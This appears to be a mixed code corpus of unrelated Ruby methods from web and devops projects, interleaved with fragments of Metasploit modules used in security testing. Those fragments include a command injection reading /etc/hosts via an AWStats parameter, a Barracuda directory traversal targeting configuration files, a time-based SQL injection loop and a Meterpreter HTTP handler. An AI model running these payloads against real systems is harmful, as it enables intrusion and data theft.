def self.seed_default_definitions(event_defs)
    stats = {:a => 0, :u => 0}

    fname = File.join(FIXTURE_DIR, "miq_event_definitions.yml")
    defns = YAML.load_file(fname)
    defns.each do |event_type, events|
      events[:events].each do |e|
        event = (event_defs[e[:name]] || []).detect { |ed| ed.event_type == event_type.to_s }
        if event.nil?
          _log.info("Creating [#{e[:name]}]")
          event = create(e.merge(:event_type => event_type.to_s, :default => true, :enabled => true))
          (event_defs[e[:name]] ||= []) << event
          stats[:a] += 1
        else
          event.attributes = e
          if event.changed?
            _log.info("Updating [#{e[:name]}]")
            event.save
            stats[:u] += 1
          end
        end
      end
    end
  end


def auth(wap)
    case wap['wpa_auth']
    when 0
      'MGT'
    when 5, 7
      'PSK'
    else
      ''
    end
  end


def check
    # next lines included for automatic inclusion into vulnerable plugins list
    # check_plugin_version_from_readme('really-simple-ssl', '9.1.2')
    # check_plugin_version_from_readme('really-simple-ssl-pro', '9.1.2')
    # check_plugin_version_from_readme('really-simple-ssl-pro-multisite', '9.1.2')
    return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

    print_status("WordPress Version: #{wordpress_version}") if wordpress_version

    %w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|
      plugin_check = check_plugin_version_from_readme(slug, '9.1.2', '9.0.0')
      case plugin_check.code
      when 'appears'
        return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.")
      when 'safe'
        return CheckCode::Safe("Plugin #{slug} is patched or not vulnerable.")
      end
    end

    CheckCode::Unknown('No vulnerable plugins were detected.')
  end


def available_flags
    return [] if !scope.can_flag_post_voting_comment?(object)
    return [] if reviewable_id.present? && user_flag_status == ReviewableScore.statuses[:pending]

    PostActionType.flag_types.map { |sym, id| sym }
  end


def bundled_actions
    args = {}
    args[:claimed_by] = claimed_by if @options[:claimed_topics]
    object.actions_for(scope, args).bundles
  end


def check
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
        {
          'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"
        }
    }, 25)

    if (res and res.body.match(/localhost/))
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end


def initialize(options:, db_conf:, connection_string:)
      @options = options
      @db_conf = db_conf
      begin
        @conn = PG.connect(connection_string)
      rescue PG::ConnectionBad
        print_error('Could not connect to standalone PostgreSQL instance. Ensure that the connection string is valid, and that the database is accessible')
        raise
      end

      conninfo = @conn.conninfo_hash
      @options[:db_port] = conninfo[:port]
      @options[:db_host] = conninfo[:host]
      super(options)
    end


def up
    return unless Gitlab.com?

    remove_concurrent_index_by_name :snippets, 'tmp_index_snippets_for_organization_id'
  end


def select_suggestion_by_name(name)
        find("#{MENU_SELECTOR} button[data-name=\"#{name}\"]").click
      end


def welcome
        attachments["invoice.pdf"] = "This is test File content"
        mail body: "yay", from: "welcome@example.com", to: "to@example.com"

        unless attachments.map(&:filename) == ["invoice.pdf"]
          flunk("Should allow access to attachments")
        end
      end


def tool_msg(msg)
          if native_tool_support?
            part = {
              functionResponse: {
                name: msg[:name] || msg[:id],
                response: {
                  content: msg[:content],
                },
              },
            }

            if beta_api?
              { role: "function", parts: [part] }
            else
              { role: "function", parts: part }
            end
          else
            super
          end
        end


def instrument(...)
        job.instrument(...)
      end


def last_migration
        source_account.migrations.last
      end


def self.real_time
      Time.at(Process.clock_gettime(Process::CLOCK_REALTIME))
    end


def get_josso_token
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("josso", "signon", "usernamePasswordLogin.do"),
      'vars_post' => {
        'josso_cmd' => 'login',
        'josso_username' => datastore['USERNAME'],
        'josso_password' => datastore['PASSWORD']
      }
    })
    if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/
      return $1
    else
      return nil
    end
  end


def create
    Chat::CreateDirectMessageChannel.call(service_params) do
      on_success { |channel:| render_serialized(channel, Chat::ChannelSerializer, root: "channel") }
      on_model_not_found(:target_users) { raise ActiveRecord::RecordNotFound }
      on_failed_policy(:satisfies_dms_max_users_limit) do |policy|
        render_json_dump({ error: policy.reason }, status: 400)
      end
      on_failed_policy(:can_create_direct_message) do |policy|
        render_json_dump({ error: I18n.t("chat.errors.invalid_direct_message") }, status: 400)
      end
      on_failed_policy(:actor_allows_dms) do
        render_json_error(I18n.t("chat.errors.actor_disallowed_dms"))
      end
      on_failed_policy(:targets_allow_dms_from_user) { |policy| render_json_error(policy.reason) }
      on_model_errors(:direct_message) do |model|
        render_json_error(model, type: :record_invalid, status: 422)
      end
      on_model_errors(:channel) do |model|
        render_json_error(model, type: :record_invalid, status: 422)
      end
      on_failure { render(json: failed_json, status: :unprocessable_entity) }
      on_failed_contract do |contract|
        render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)
      end
    end
  end


def cop_subsection(title, cop)
    content = +"\n"
    content << "[##{to_anchor(title)}-#{to_anchor(cop.cop_name)}]\n"
    content << "=== #{title}\n"
    content << "\n"
    content
  end


def edit_path
      ::Gitlab::Routing.url_helpers.edit_project_path(project)
    end


def article_params
    params.require(:article).permit(
      :title, :slug, :position, :content, :description, :category_id, :author_id, :associated_article_id, :status,
      :locale, meta: [:title,
                      :description,
                      { tags: [] }]
    )
  end


def initialize
    super(
      'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',
      'Description' => %q{
          This module exploits a directory traversal vulnerability present in
        several Barracuda products, including the Barracuda Spam and Virus Firewall,
        Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
        this module will attempt to download the Barracuda configuration file.
      },
      'References' => [
        ['CVE', '2010-20109'],
        ['OSVDB', '68301'],
        ['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],
        ['EDB', '15130']
      ],
      'Author' => [
        'Tiago Ferreira <tiago.ccna[at]gmail.com>'
      ],
      'DisclosureDate' => 'Oct 08 2010',
      'License' => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
        OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
      ]
    )
  end


def delete_confirm
    @comment = Comment.find(params[:id_code].to_i(26))
    authorize @comment
  end


def call_in_literals?(node)
            parent = node.parent&.any_block_type? ? node.parent.parent : node.parent
            return false unless parent

            parent.type?(:pair, :array, :range) ||
              splat?(parent) ||
              ternary_if?(parent)
          end


def is_scan_complete(scan_id)
        complete = false
        status = @n.scan_list
        status['scans'].each do |scan|
          if scan['id'] == scan_id.to_i && (scan['status'] == 'completed' || scan['status'] == 'imported')
            complete = true
          end
        end
        complete
      end


def move_action(menu:, move_to:, label:, icon:)
        menu.with_item(
          label:,
          href: move_admin_settings_project_phase_definition_path(definition, move_to:),
          form_arguments: {
            method: :patch
          },
          data: {
            "projects--settings--border-box-filter-target": "hideWhenFiltering"
          }
        ) do |item|
          item.with_leading_visual_icon(icon:)
        end
      end


def all_docker_bases
              Database.all.map { |database| docker_base_packages(database.base_package) }.uniq
            end


def update_last_message_id!
      self.update!(last_message_id: self.latest_not_deleted_message_id)
    end


def test_returned_record_should_be_readonly_on_cache_hit
    IdentityCache.with_fetch_read_only_records do
      @record.fetch_item # warm cache
      assert(@record.fetch_item.readonly?)
      refute(@record.item.readonly?)
    end
  end


def stub_create_review_submission
        stub_request(:post, "https://appstoreconnect.apple.com/iris/v1/reviewSubmissions").
          to_return(status: 200, body: read_fixture_file('review_submission_created.json'), headers: { 'Content-Type' => 'application/json' })
      end


def get_ext_link_id
    # Get an unused External Link ID with a time-based SQLi
    @ext_link_id = rand(1000..9999)
    loop do
      _res, elapsed_time = Rex::Stopwatch.elapsed_time do
        sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
      end
      break if elapsed_time < datastore['SqliDelay']

      @ext_link_id = rand(1000..9999)
    end
    vprint_good("Got external link ID #{@ext_link_id}")
  end


def test_insert_all_logs_message_including_model_name
    skip unless supports_insert_conflict_target?

    capture_log_output do |output|
      Book.insert_all [{ name: "Remote", author_id: 1 }, { name: "Renote", author_id: 1 }]
      assert_match "Book Bulk Insert", output.string
    end
  end


def up
    fields_to_update = DB.query(<<~SQL)
      SELECT id, default_llm
      FROM ai_personas
      WHERE default_llm IS NOT NULL
    SQL

    return if fields_to_update.empty?

    updated_fields =
      fields_to_update
        .map do |field|
          llm_model_id = matching_llm_model(field.default_llm)

          "(#{field.id}, 'custom:#{llm_model_id}')" if llm_model_id
        end
        .compact

    return if updated_fields.empty?

    DB.exec(<<~SQL)
      UPDATE ai_personas
      SET default_llm = new_fields.new_default_llm
      FROM (VALUES #{updated_fields.join(", ")}) AS new_fields(id, new_default_llm)
      WHERE new_fields.id::bigint = ai_personas.id
    SQL
  end


def signup_after_approval(user, opts = {})
    locale = user_locale(user)
    tips =
      I18n.t(
        "system_messages.usage_tips.text_body_template",
        base_url: Discourse.base_url,
        locale: locale,
      )

    build_email(
      user.email,
      template: "user_notifications.signup_after_approval",
      locale: locale,
      new_user_tips: tips,
    )
  end


def canonicalize(json)
    graph = RDF::Graph.new << JSON::LD::API.toRdf(json, documentLoader: method(:load_jsonld_context))
    graph.dump(:normalize)
  end


def count_for_article(id)
      Rails.cache.fetch("count_for_reactable-Article-#{id}", expires_in: 10.hours) do
        reactions = Reaction.where(reactable_id: id, reactable_type: "Article")
        counts = reactions.group(:category).count

        reaction_types = public_reaction_types
        reaction_types << "readinglist" unless public_reaction_types.include?("readinglist")

        reaction_types.map do |type|
          { category: type, count: counts.fetch(type, 0) }
        end
      end
    end


def validate_each(record, attribute, value)
            if validate_string(value)
              validate_path(record, attribute, value)
            else
              record.errors.add(attribute, 'should be a string or symbol')
            end
          end


def self.from_model( form )
    e = new( :action => "#{form.path}?#{form.query}", :input => form.params[0][1] )
    e.model = form
    e
  end


def configuration_requirements
      self.class.configuration_requirements
    end


def can_read_project?
      if deploy_key?
        deploy_key.has_access_to?(project)
      elsif deploy_token?
        deploy_token.has_access_to?(project)
      elsif user
        user.can?(:read_project, project)
      elsif ci?
        false
      end || ::Users::Anonymous.can?(:read_project, project)
    end


def extract_primary_keyid
    # we can assume that the result only contains one item as the validation
    # only allows one key
    self.primary_keyid = Gitlab::Gpg.primary_keyids_from_key(key).first
  end


def with_default_enforce_utf8(value)
      old_value = ActionView::Helpers::FormTagHelper.default_enforce_utf8
      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = value

      yield
    ensure
      ActionView::Helpers::FormTagHelper.default_enforce_utf8 = old_value
    end


def create_permalinks
    puts "", "creating permalinks..."

    current_count = 0
    total_count =
      mysql_query(
        "SELECT COUNT(nodeid) cnt
        FROM #{DB_PREFIX}node
        WHERE (unpublishdate = 0 OR unpublishdate IS NULL)
        AND (approved = 1 AND showapproved = 1)
        AND parentid IN (
        SELECT nodeid FROM #{DB_PREFIX}node WHERE contenttypeid=#{@channel_typeid} ) AND contenttypeid=#{@text_typeid};",
      ).first[
        "cnt"
      ]

    batches(BATCH_SIZE) do |offset|
      topics = mysql_query <<-SQL
        SELECT p.urlident p1, f.urlident p2, t.nodeid, t.urlident p3
        FROM #{DB_PREFIX}node f
        LEFT JOIN #{DB_PREFIX}node t ON t.parentid = f.nodeid
        LEFT JOIN #{DB_PREFIX}node p ON p.nodeid = f.parentid
        WHERE f.contenttypeid = #{@channel_typeid}
          AND t.contenttypeid = #{@text_typeid}
          AND t.approved = 1 AND t.showapproved = 1
          AND (t.unpublishdate = 0 OR t.unpublishdate IS NULL)
        ORDER BY t.nodeid
           LIMIT #{BATCH_SIZE}
          OFFSET #{offset}
      SQL

      break if topics.size < 1

      topics.each do |topic|
        current_count += 1
        print_status current_count, total_count
        disc_topic = topic_lookup_from_imported_post_id("thread-#{topic["nodeid"]}")

        begin
          Permalink.create(
            url: "#{URL_PREFIX}#{topic["p1"]}/#{topic["p2"]}/#{topic["nodeid"]}-#{topic["p3"]}",
            topic_id: disc_topic[:topic_id],
          )
        rescue StandardError
          nil
        end
      end
    end

    # cats
    cats = mysql_query <<-SQL
      SELECT nodeid, urlident
      FROM #{DB_PREFIX}node
      WHERE contenttypeid=#{@channel_typeid}
      AND parentid=#{ROOT_NODE};
    SQL
    cats.each do |c|
      category_id =
        CategoryCustomField.where(name: "import_id").where(value: c["nodeid"]).first.category_id
      begin
        Permalink.create(url: "#{URL_PREFIX}#{c["urlident"]}", category_id: category_id)
      rescue StandardError
        nil
      end
    end

    # subcats
    subcats = mysql_query <<-SQL
      SELECT n1.nodeid,n2.urlident p1,n1.urlident p2
      FROM #{DB_PREFIX}node n1
      LEFT JOIN #{DB_PREFIX}node n2 ON n2.nodeid=n1.parentid
      WHERE n2.parentid = #{ROOT_NODE}
      AND n1.contenttypeid=#{@channel_typeid};
    SQL
    subcats.each do |sc|
      category_id =
        CategoryCustomField.where(name: "import_id").where(value: sc["nodeid"]).first.category_id
      begin
        Permalink.create(url: "#{URL_PREFIX}#{sc["p1"]}/#{sc["p2"]}", category_id: category_id)
      rescue StandardError
        nil
      end
    end
  end


def extract_estimated_rows(result)
    return 0 unless result.is_a?(PG::Result) && result.ntuples > 0

    plan_data = result.first["QUERY PLAN"]
    return 0 unless plan_data.is_a?(Array) && plan_data.first.is_a?(Hash)

    plan = plan_data.first
    extract_rows_from_plan(plan)
  end


def arel_table
      @arel_table ||= Arel::Table.new(:schema_migrations)
    end


def self.request_types
    REQUEST_TYPES[name.to_sym].keys.collect(&:to_s)
  end


def to_query(param)
            CGI.escape(::JSON.dump(param))
          end


def build_rendered_url(url, project = nil)
    return url unless project

    Gitlab::StringPlaceholderReplacer.replace_string_placeholders(url, PLACEHOLDERS_REGEX) do |arg|
      replace_placeholder_action(PLACEHOLDERS[arg], project)
    end
  end


def expected_first_user_table(with_times_column)
    [
      user.name,
      *expected_table_header(with_times_column),
      *expected_entry_row(user_time_entry, with_times_column)
    ]
  end


def make_xml(tiff_data)
    xml_data = <<~EOS
      <?xml version="1.0" encoding="UTF-8" ?>
      <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
      <config xmlns="http://www.xfa.org/schema/xci/1.0/">
      <present>
      <pdf>
      <version>1.65</version>
      <interactive>1</interactive>
      <linearized>1</linearized>
      </pdf>
      <xdp>
      <packets>*</packets>
      </xdp>
      <destination>pdf</destination>
      </present>
      </config>
      <template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
      <subform name="topmostSubform" layout="tb" locale="en_US">
      <pageSet>
      <pageArea id="PageArea1" name="PageArea1">
      <contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
      <medium short="612pt" long="792pt" stock="custom" />
      </pageArea>
      </pageSet>
      <subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
      <break before="pageArea" beforeTarget="#PageArea1" />
      <bind match="none" />
      <field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
      <ui>
      <imageEdit />
      </ui>
      </field>
      <?templateDesigner expand 1?>
      </subform>
      <?templateDesigner expand 1?>
      </subform>
      <?templateDesigner FormTargetVersion 24?>
      <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
      <?templateDesigner Zoom 94?>
      </template>
      <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
      <xfa:data>
      <topmostSubform>
      <ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>
      </topmostSubform>
      </xfa:data>
      </xfa:datasets>
      <PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
      <form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
      <subform name="topmostSubform">
      <instanceManager name="_Page1" />
      <subform name="Page1">
      <field name="ImageField1" />
      </subform>
      <pageSet>
      <pageArea name="PageArea1" />
      </pageSet>
      </subform>
      </form>
      </xdp:xdp>
    EOS
    xml_data.gsub!(/REPLACE_TIFF/, tiff_data)

    xml_data
  end


def test_expand_cache_key_of_array_like_object
    assert_equal "foo/bar/baz", ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
  end


def run_theme_migration(theme, migration_name)
    migration_theme_field = theme.theme_fields.find_by(name: migration_name)
    theme.migrate_settings(fields: [migration_theme_field], allow_out_of_sequence_migration: true)
    nil
  end


def self.from_app_tree app_tree, path
      return path if path.is_a? Brakeman::FilePath

      absolute = app_tree.expand_path(path).freeze

      if fp = @cache[absolute]
        return fp
      end

      relative = app_tree.relative_path(path).freeze

      self.new(absolute, relative).tap { |fp| @cache[absolute] = fp }
    end


def extract_forwardable_args(args)
          [args.find(&:restarg_type?), args.find(&:kwrestarg_type?), args.find(&:blockarg_type?)]
        end


def mime_type(ext, fallback = 'application/octet-stream')
      MIME_TYPES.fetch(ext.to_s.downcase, fallback)
    end


private def ls(dir)
    children = Dir.children(dir)

    # The order in which a directory is listed depends on the file system.
    #
    # Since client code may run in different platforms, it seems convenient to
    # order directory entries. This provides consistent eager loading across
    # platforms, for example.
    children.sort!

    children.each do |basename|
      next if hidden?(basename)

      abspath = File.join(dir, basename)
      next if ignored_path?(abspath)

      if dir?(abspath)
        next if roots.key?(abspath)

        if !has_at_least_one_ruby_file?(abspath)
          log("directory #{abspath} is ignored because it has no Ruby files") if logger
          next
        end

        ftype = :directory
      else
        next unless ruby?(abspath)
        ftype = :file
      end

      # We freeze abspath because that saves allocations when passed later to
      # File methods. See #125.
      yield basename, abspath.freeze, ftype
    end
  end


def move_pulled_screenshots(locale, pull_dir, device_type_dir_name)
      # Glob pattern that finds the pulled screenshots directory for each locale
      # Possible matches:
      #   [pull_dir]/en-US/images/screenshots
      #   [pull_dir]/screengrab/en-US/images/screenshots
      screenshots_dir_pattern = File.join(pull_dir, '**', "screenshots")

      Dir.glob(screenshots_dir_pattern, File::FNM_CASEFOLD).each do |screenshots_dir|
        src_screenshots = Dir.glob(File.join(screenshots_dir, '*.png'), File::FNM_CASEFOLD)

        # The :output_directory is the final location for the screenshots, so we begin by replacing
        # the temp directory portion of the path, with the output directory
        dest_dir = screenshots_dir.gsub(pull_dir, @config[:output_directory])

        # Different versions of adb are inconsistent about whether they will pull down the containing
        # directory for the screenshots, so we'll try to remove that path from the directory name when
        # creating the destination path.
        # See: https://github.com/fastlane/fastlane/pull/4915#issuecomment-236368649
        dest_dir = dest_dir.gsub(%r{(app_)?screengrab/}, '')

        # We then replace the last segment of the screenshots directory path with the device_type
        # specific name, as expected by supply
        #
        # (Moved to: fastlane/metadata/android/en-US/images/phoneScreenshots)
        dest_dir = File.join(File.dirname(dest_dir), locale, 'images', device_type_dir_name)

        FileUtils.mkdir_p(dest_dir)
        FileUtils.cp_r(src_screenshots, dest_dir)
        UI.success("Screenshots copied to #{dest_dir}")
      end
    end


def file_read(file)
          File.read(test_full_path_to(file))
        end


def client_url
      api_url.presence || url
    end


def create_entry
    FileUtils.mkdir_p(entry_path_dir)
    FileUtils.touch(entry_path)
  end


def down
    INDEXES.each do |definition|
      name = definition[:name]
      remove_concurrent_partitioned_index_by_name(TABLE_NAME, name)
    end
  end


def filter_run_excluding(*args)
        meta = Metadata.build_hash_from(args, :warn_about_example_group_filtering)
        filter_manager.exclude_with_low_priority meta
        static_config_filter_manager.exclude_with_low_priority Metadata.deep_hash_dup(meta)
      end


def find_cluster_above_ci(item, ems_src = nil)
    find_class_above_ci(item, EmsCluster, ems_src)
  end


def create
    CustomActions::CreateService
      .new(user: current_user)
      .call(attributes: permitted_params.custom_action.to_h,
            &index_or_render(:new))
  end


def placeholder_reference_store
          @placeholder_reference_store ||= project.placeholder_reference_store
        end


def prepare_value_for_validation(value, record, attr_name)
        return value if record_attribute_changed_in_place?(record, attr_name)

        came_from_user = :"#{attr_name}_came_from_user?"

        if record.respond_to?(came_from_user)
          if record.public_send(came_from_user)
            raw_value = record.public_send(:"#{attr_name}_before_type_cast")
          elsif record.respond_to?(:read_attribute)
            raw_value = record.read_attribute(attr_name)
          end
        else
          before_type_cast = :"#{attr_name}_before_type_cast"
          if record.respond_to?(before_type_cast)
            raw_value = record.public_send(before_type_cast)
          end
        end

        raw_value || value
      end


def initialize(table_name, model_class:, fixtures:)
        @model_class = model_class

        # track any join tables we need to insert later
        @tables = Hash.new { |h, table| h[table] = [] }

        # ensure this table is loaded before any HABTM associations
        @tables[table_name] = nil

        build_table_rows_from(table_name, fixtures)
      end


def rgba_color(hex, opacity = 1)
    rgbs = hex_to_rgbs(adjust_hex(hex))
    "rgba(#{rgbs.join(",")},#{opacity})"
  end


def rename_project(path_was, path, namespace_path)
      base_dir = File.join(root_dir, namespace_path)
      move(path_was, path, base_dir)
    end


def allowed_heredoc
          cop_config['AllowHeredoc']
        end


def test_after_validation_does_not_mutate_the_if_options_array
    opts = []

    Class.new(Dog) do
      after_validation(if: opts, on: :create) { }
    end

    assert_empty opts
  end


def files_count(commit)
      diff_size = commit.raw_deltas.size

      "#{diff_size} file".pluralize(diff_size)
    end


def self.valid?(payload:, headers:, config:)
          stats.increment("auth.validation", { plugin: "TestAuth" })

          # Simulate validation failure
          if headers["Authorization"].nil?
            failbot.report("Missing authorization header", { plugin: "TestAuth" })
            return false
          end

          true
        end


def available?
        return @available if defined?(@available)

        @available = system(runner_env, "which ansible-runner >/dev/null 2>&1")
      end


def on_passive_request(cli, req)

    begin

    resp = Rex::Proto::Http::Response.new(200, "OK")
    resp['Content-Type'] = 'application/octet-stream'
    resp['Connection']   = 'close'

    self.last_checkin = ::Time.now

    if req.method == 'GET'
      rpkt = send_queue.shift
      resp.body = rpkt || ''
      begin
        cli.send_response(resp)
      rescue ::Exception => e
        send_queue.unshift(rpkt) if rpkt
        elog("Exception sending a reply to the reader request #{cli.inspect}", error: e)
      end
    else
      resp.body = ""
      if req.body and req.body.length > 0
        packet = Packet.new(0)
        packet.add_raw(req.body)
        packet.parse_header!
        packet = decrypt_inbound_packet(packet)
        dispatch_inbound_packet(packet)
      end
      cli.send_response(resp)
    end

    rescue ::Exception => e
      elog("Exception handling request: #{cli.inspect} #{req.inspect}", error: e)
    end
  end


def initialize(
        form: nil,
        method: nil,
        name: nil,
        label: nil,
        help_text: nil,
        label_options: {},
        radio_options: {},
        value: nil
      )
        @form = form
        @method = method
        @name = name
        @label_argument = label
        @help_text_argument = help_text
        @label_options = label_options
        @input_options = radio_options
        @value = value
      end


def run_host(ip)
    connect(true, { "SSL" => true }) # Force SSL
    cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
    disconnect

    unless cert
      vprint_error("#{ip}:#{rport} - No certificate found")
      return
    end

    pkey = OpenSSL::PKey::RSA.new(PRIVATE_KEY)
    result = cert.verify(pkey)

    if result
      print_good("#{ip}:#{rport} - Vulnerable to CVE-2013-3619 (Static SSL Certificate)")
      # Report with the SSL Private Key hash for the host
      digest = OpenSSL::Digest::SHA1.new(pkey.public_key.to_der).to_s.scan(/../).join(":")
      report_note(
        :host => ip,
        :proto => 'tcp',
        :port => rport,
        :type => 'supermicro.ipmi.ssl.certificate.pkey_hash',
        :data => { :digest => digest }
      )

      report_vuln({
        :host => rhost,
        :port => rport,
        :proto => 'tcp',
        :name => "Supermicro Onboard IPMI Static SSL Certificate",
        :refs => self.references
      })
    end
  end


def allowed_gitlab_schemas=(value)
            self.context[:allowed_gitlab_schemas] = value
          end


def not_between(other)
      if unboundable?(other.begin) == 1 || unboundable?(other.end) == -1
        not_in([])
      elsif open_ended?(other.begin)
        if open_ended?(other.end)
          if infinity?(other.begin) == 1 || infinity?(other.end) == -1
            not_in([])
          else
            self.in([])
          end
        elsif other.exclude_end?
          gteq(other.end)
        else
          gt(other.end)
        end
      elsif open_ended?(other.end)
        lt(other.begin)
      else
        left = lt(other.begin)
        right = if other.exclude_end?
          gteq(other.end)
        else
          gt(other.end)
        end
        left.or(right)
      end
    end


def try_obtain_lease_for(project_id, statistics)
    Gitlab::ExclusiveLease
      .new(project_cache_worker_key(project_id, statistics), timeout: LEASE_TIMEOUT)
      .try_obtain
  end


def test_on_booted
      on_booted = false
      events = Puma::Events.new
      events.on_booted do
        on_booted = true
      end

      launcher = nil
      thread = Thread.new do
        Rack::Handler::Puma.run(app, events: events, Verbose: true, Silent: true, Port: 0) do |l|
          launcher = l
        end
      end

      # Wait for launcher to boot
      Timeout.timeout(10) do
        sleep 0.5 until launcher
      end
      sleep 1.5 unless Puma::IS_MRI

      launcher.stop
      thread.join

      assert_equal on_booted, true
    end


def report_web_form(opts)
    return if not active
  ::ApplicationRecord.connection_pool.with_connection {
    opts = opts.clone() # protect the original caller's opts
    wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)

    path    = opts[:path]
    meth    = opts[:method].to_s.upcase
    para    = opts[:params]
    quer    = opts[:query].to_s
    site    = nil

    if not (path and meth)
      raise ArgumentError, "report_web_form requires the path and method parameters"
    end

    if not %W{GET POST PATH}.include?(meth)
      raise ArgumentError, "report_web_form requires the method to be one of GET, POST, PATH"
    end

    if opts[:web_site] and opts[:web_site].kind_of?(::Mdm::WebSite)
      site = opts.delete(:web_site)
    else
      site = report_web_site(
        :workspace => wspace,
        :host      => opts[:host], :port => opts[:port],
        :vhost     => opts[:host], :ssl  => opts[:ssl]
      )
      if not site
        raise ArgumentError, "report_web_form was unable to create the associated web site"
      end
    end

    ret = {}

    # Since one of our serialized fields is used as a unique parameter, we must do the final
    # comparisons through ruby and not SQL.

    form = nil
    ::Mdm::WebForm.where(web_site_id: site[:id], path: path, method: meth, query: quer).each do |xform|
      if xform.params == para
        form = xform
        break
      end
    end
    if not form
      form = ::Mdm::WebForm.new
      form.web_site_id = site[:id]
      form.path        = path
      form.method      = meth
      form.params      = para
      form.query       = quer
    end

    msf_assign_timestamps(opts, form)
    form.save!
    ret[:web_form] = form
  }
  end


def wrapper_uniq_by
          journal.id
        end


def up
    create_table :admin_roles do |t|
      t.text :name, null: false, limit: 255
      t.text :description, limit: 255
      t.jsonb :permissions, null: false, default: {}

      t.timestamps_with_timezone null: false
    end

    add_index :admin_roles, :name, unique: true
  end


def protected_paths_regex
        Regexp.union(protected_paths.map { |path| /\A#{Regexp.escape(path)}/ })
      end


def verify_jwt_id_token!(id_token:, open_id_configuration:, algorithm:, kid:)
        public_key = get_public_key(open_id_configuration: open_id_configuration, kid: kid)

        JWT.decode(
          id_token,
          public_key,
          true,
          {
            algorithm: algorithm,
            verify_exp: true,
            verify_iat: true,
            verify_aud: true,
            verify_iss: true,
            aud: aud_claim,
            iss: ::Gitlab.config.ci_id_tokens.issuer_url
          }
        )
      rescue JWT::DecodeError => e
        raise "JWT verification failed: #{e.message}"
      end


def test_creates_current_environment_database
      with_stubbed_configurations_establish_connection do
        assert_called_with(
          ActiveRecord::Tasks::DatabaseTasks,
          :create,
          [config_for("test", "primary")]
        ) do
          ActiveRecord::Tasks::DatabaseTasks.create_current(
            ActiveSupport::StringInquirer.new("test")
          )
        end
      end
    end


def test_to_xml_with_instruct
    xml = [
      { name: "David", age: 26, age_in_millis: 820497600000 },
      { name: "Jason", age: 31, age_in_millis: BigDecimal("1.0") }
    ].to_xml(skip_instruct: false, indent: 0)

    assert_match(/^<\?xml [^>]*/, xml)
    assert_equal 0, xml.rindex(/<\?xml /)
  end


def initialize(badge)
        @entity = badge.entity
        @key_text = badge.customization[:key_text]
        @key_width = badge.customization[:key_width]
      end


def test_should_allow_includes_for_list_of_authors
    authors = [@david, @mary]
    json = ActiveSupport::JSON.encode(authors,
      only: :name,
      include: {
        posts: { only: :id }
      }
    )

    ['"name":"David"', '"posts":[', '{"id":1}', '{"id":2}', '{"id":4}',
     '{"id":5}', '{"id":6}', '"name":"Mary"', '"posts":[', '{"id":7}', '{"id":9}'].each do |fragment|
       assert_includes json, fragment, json
     end
  end


def human_readable_description
        "Google Cloud Bucket [#{self.google_cloud_project_id}/#{self.bucket_name}]"
      end


def self.workflow_class
    @workflow_class ||= name.underscore.chomp("_template").gsub(/_request$/, "_workflow").camelize.constantize rescue nil
  end


def render_cost_types_settings
    render_widget Widget::Settings::Fieldset, @subject, type: "units" do
      render_widget Widget::CostTypes,
                    @cost_types,
                    selected_type_id: @selected_type_id
    end
  end


def self.enterprise_oid
    @@enterprise_oid ||= SNMP::ObjectId.new(enterprise_oid_string)
  end


def each_blob(&blk)
      unless file_format_adapter_class
        raise NotSupportedAdapterError, 'This file format requires a dedicated adapter'
      end

      ::Gitlab::Ci::Artifacts::DecompressedArtifactSizeValidator
        .new(file: file, file_format: file_format.to_sym, max_bytes: max_size_for_file_type).validate!

      log_artifacts_filesize(file.model)

      file.open do |stream|
        file_format_adapter_class.new(stream).each_blob(&blk)
      end
    end


def clear_oauth_state_cookie
    cookies.delete("oauth_state_#{@oauth_state}") unless @oauth_state.nil?
  end


def test_travel_to_a_date
    with_env_tz do
      Time.use_zone("Hawaii") do
        date = Date.new(2014, 2, 18)
        time = date.midnight

        travel_to date do
          assert_equal date, Date.current
          assert_equal time, Time.current
        end
      end
    end
  end


def representer_type(model)
          case model
          when WorkPackage then :work_package
          # when Meeting then :meeting
          else
            raise ArgumentError, "Missing concrete entity representer for #{model}"
          end
        end


def usage(msg = nil)
      puts help_text
      if msg
        puts
        puts "Error: #{msg}"
      end
      exit 1
    end


def event_url(event)
    url_helpers.news_url(url_helper_parameter(event))
  end


def set_authenticated_api_request_limit_per_user(limit)
              find_element('throttle-authenticated-api-requests-per-user').set('')
